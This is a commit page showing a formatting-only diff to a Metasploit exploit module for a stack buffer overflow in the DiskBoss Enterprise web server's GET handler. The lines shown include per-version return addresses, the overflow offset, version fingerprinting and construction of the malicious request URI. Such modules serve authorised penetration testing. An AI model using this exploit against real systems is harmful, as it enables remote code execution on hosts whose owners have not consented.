Skip to content

Commit 24014d8

Browse files
committed
Minor code formatting
1 parent 9162374 commit 24014d8

File tree

1 file changed

+21
-19
lines changed

1 file changed

+21
-19
lines changed

modules/exploits/windows/http/diskboss_get_bof.rb

Lines changed: 21 additions & 19 deletions
Original file line numberDiff line numberDiff line change
@@ -43,18 +43,21 @@ def initialize(info = {})
4343
},
4444
'Targets' =>
4545
[
46-
['Automatic Targeting',
46+
[
47+
'Automatic Targeting',
4748
{
4849
'auto' => true
4950
}
5051
],
51-
[ 'DiskBoss Enterprise v7.4.28',
52+
[
53+
'DiskBoss Enterprise v7.4.28',
5254
{
5355
'Offset' => 2471,
5456
'Ret' => 0x1004605c # ADD ESP,0x68 # RETN [libpal.dll]
5557
}
5658
],
57-
[ 'DiskBoss Enterprise v7.5.12',
59+
[
60+
'DiskBoss Enterprise v7.5.12',
5861
{
5962
'Offset' => 2471,
6063
'Ret' => 0x100461da # ADD ESP,0x68 # RETN [libpal.dll]
@@ -63,15 +66,14 @@ def initialize(info = {})
6366
],
6467
'Privileged' => true,
6568
'DisclosureDate' => 'Dec 05 2016',
66-
'DefaultTarget' => 0
67-
))
69+
'DefaultTarget' => 0))
6870
end
6971

7072
def check
71-
res = send_request_cgi({
73+
res = send_request_cgi(
7274
'method' => 'GET',
73-
'uri' => '/'
74-
})
75+
'uri' => '/'
76+
)
7577

7678
if res && res.code == 200
7779
if res.body =~ /DiskBoss Enterprise v7\.(4\.28|5\.12)/
@@ -80,7 +82,7 @@ def check
8082
return Exploit::CheckCode::Detected
8183
end
8284
else
83-
vprint_error("Unable to determine due to a HTTP connection timeout")
85+
vprint_error('Unable to determine due to a HTTP connection timeout')
8486
return Exploit::CheckCode::Unknown
8587
end
8688

@@ -90,15 +92,15 @@ def check
9092
def exploit
9193
mytarget = target
9294

93-
if (target['auto'])
95+
if target['auto']
9496
mytarget = nil
9597

96-
print_status("Automatically detecting the target...")
98+
print_status('Automatically detecting the target...')
9799

98-
res = send_request_cgi({
100+
res = send_request_cgi(
99101
'method' => 'GET',
100-
'uri' => '/'
101-
})
102+
'uri' => '/'
103+
)
102104

103105
if res && res.code == 200
104106
if res.body =~ /DiskBoss Enterprise v7\.4\.28/
@@ -108,8 +110,8 @@ def exploit
108110
end
109111
end
110112

111-
if (not mytarget)
112-
fail_with(Failure::NoTarget, "No matching target")
113+
if !mytarget
114+
fail_with(Failure::NoTarget, 'No matching target')
113115
end
114116

115117
print_status("Selected Target: #{mytarget.name}")
@@ -121,9 +123,9 @@ def exploit
121123
sploit << [mytarget.ret].pack('V')
122124
sploit << rand_text_alpha(2500)
123125

124-
res = send_request_cgi({
126+
send_request_cgi(
125127
'method' => 'GET',
126-
'uri' => sploit
127-
})
128+
'uri' => sploit
129+
)
128130
end
129131
end

0 commit comments

Comments
 (0)